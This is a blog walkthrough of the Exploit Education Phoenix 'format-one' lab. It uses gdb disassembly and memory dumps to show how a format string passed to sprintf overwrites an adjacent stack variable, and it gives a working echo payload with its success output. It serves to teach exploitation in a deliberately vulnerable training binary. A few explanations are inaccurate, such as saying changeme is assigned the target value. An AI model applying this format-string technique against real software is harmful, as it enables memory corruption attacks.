Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise

If you haven’t done setting-up your lab, feel free to check out my previous article on lab setup

Quick Overview

Similar to Format Zero Writeup, Format One exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this format one challenge revolves around Format String Vulnerability.


Disassembling the code will get you overall idea behind the format-one code, One can use gdb ./format-one to start debugging it in runtime.

  1. gdb ./format-one
  2. Type disassemble main to get the disassembled code (assembly)
   0x00000000004006ed <+0>:     push   rbp
   0x00000000004006ee <+1>:     mov    rbp,rsp
   0x00000000004006f1 <+4>:     sub    rsp,0x50
   0x00000000004006f5 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004006f8 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004006fc <+15>:    mov    edi,0x4007e0
   0x0000000000400701 <+20>:    call   0x400530 <puts@plt>
   0x0000000000400706 <+25>:    mov    rdx,QWORD PTR [rip+0x200433]        # 0x600b40 <stdin>
   0x000000000040070d <+32>:    lea    rax,[rbp-0x40]
   0x0000000000400711 <+36>:    mov    esi,0xf
   0x0000000000400716 <+41>:    mov    rdi,rax
   0x0000000000400719 <+44>:    call   0x400520 <fgets@plt>
   0x000000000040071e <+49>:    test   rax,rax
   0x0000000000400721 <+52>:    jne    0x400737 <main+74>
   0x0000000000400723 <+54>:    mov    esi,0x40082b
   0x0000000000400728 <+59>:    mov    edi,0x1
   0x000000000040072d <+64>:    mov    eax,0x0
   0x0000000000400732 <+69>:    call   0x400540 <errx@plt>
   0x0000000000400737 <+74>:    mov    BYTE PTR [rbp-0x31],0x0
   0x000000000040073b <+78>:    mov    DWORD PTR [rbp-0x10],0x0
   0x0000000000400742 <+85>:    lea    rdx,[rbp-0x40]
   0x0000000000400746 <+89>:    lea    rax,[rbp-0x30]
   0x000000000040074a <+93>:    mov    rsi,rdx
   0x000000000040074d <+96>:    mov    rdi,rax
   0x0000000000400750 <+99>:    mov    eax,0x0
   0x0000000000400755 <+104>:   call   0x400550 <sprintf@plt>
   0x000000000040075a <+109>:   mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040075d <+112>:   cmp    eax,0x45764f6c
   0x0000000000400762 <+117>:   je     0x40077a <main+141>
   0x0000000000400764 <+119>:   mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400767 <+122>:   mov    esi,eax
   0x0000000000400769 <+124>:   mov    edi,0x400840
   0x000000000040076e <+129>:   mov    eax,0x0
   0x0000000000400773 <+134>:   call   0x400510 <printf@plt>
   0x0000000000400778 <+139>:   jmp    0x400784 <main+151>
   0x000000000040077a <+141>:   mov    edi,0x400878
   0x000000000040077f <+146>:   call   0x400530 <puts@plt>
   0x0000000000400784 <+151>:   mov    edi,0x0
   0x0000000000400789 <+156>:   call   0x400560 <exit@plt>

Before taking a look at the code, if you disassembled the format-one using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/format-one, brought to you by message via Puts (aka printf) method
  2. Declares locals struct with char dest[32] and volatile int changeme
  3. Utilizes fgets to collect user input and transfers to the buffer with buffer size as limit.
  4. Assigns struct variable locals.changeme as 0x45764f6c
  5. Formats buffer variables using sprintf and saves in locals.dest
  6. Verifies that if locals.changeme variables for changes.

Memory Allocation

If you take closer look at the memory allocation, every variables declared in the program are allocated in the stack (static). The locals struct contains both char dest[32] and int changeme variables packed. Additionally, buffer char array with size of 16 is allocated next to the struct locals. Technically, you can’t basically overwrite the struct with buffer char array. However, things get tricky when the program starts using sprintf function to format the buffer char array and writes back to locals.dest buffer.

Basically, Format String vulnerability happens because certain type of inputs ( such as %32x) as format string modifier to sprintf causes the function to expand and write approximately 32 bytes into locals.dest variable. sprintf(locals.dest, '%32x') has special meaning within the function to expand this modifier into memory address in stack say range upto 32 bytes and then copies back to locals.dest thus overwriting both locals.dest as well as locals.changeme variable in memory.

State of memory before executing exploit

 (gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x78323325      0x45764f6c      0x0000000a      0x00000000
0x7fffffffe630: 0x00000000      0x00000000      0xffffe6b8      0x00007fff
0x7fffffffe640: 0x00000001      0x00000000      0xffffe6c8      0x00007fff
0x7fffffffe650: 0x00000000      0x00000000      0x00000000      0x00000000

State of memory after executing exploit (Overwritten by sprintf function)

(gdb) x/16x $rbp-0x40
0x7fffffffe620: 0x78323325      0x45764f6c      0x0000000a      0x00000000
0x7fffffffe630: 0x20202020      0x20202020      0x20202020      0x20202020
0x7fffffffe640: 0x20202020      0x20202020      0x66666666      0x30323665
0x7fffffffe650: 0x45764f6c      0x0000000a      0x00000000      0x00000000  # <----- 0x45764f6c 


Now, our strategy should be,

  1. Input format string as %32x\x6c\x4f\x76\x45
  2. Now, sprintf overwrites the locals.dest using random address from stack completely overwriting 32 format string characters and the memory address 0x45764f6c in the memory including locals.changeme variable which sits next to locals.dest
user@phoenix-amd64:$ echo -e "%32x\x6c\x4f\x76\x45" | /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by
Well done, the 'changeme' variable has been changed correctly!

There you go! 🎉 You’ve officially pwned the may eventually gain code execution in upcoming exercises 🪲


Source and Reference:

  1. Format One Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.

Author Profile Photo - Shivasurya


Software Engineer, Security @ Dropbox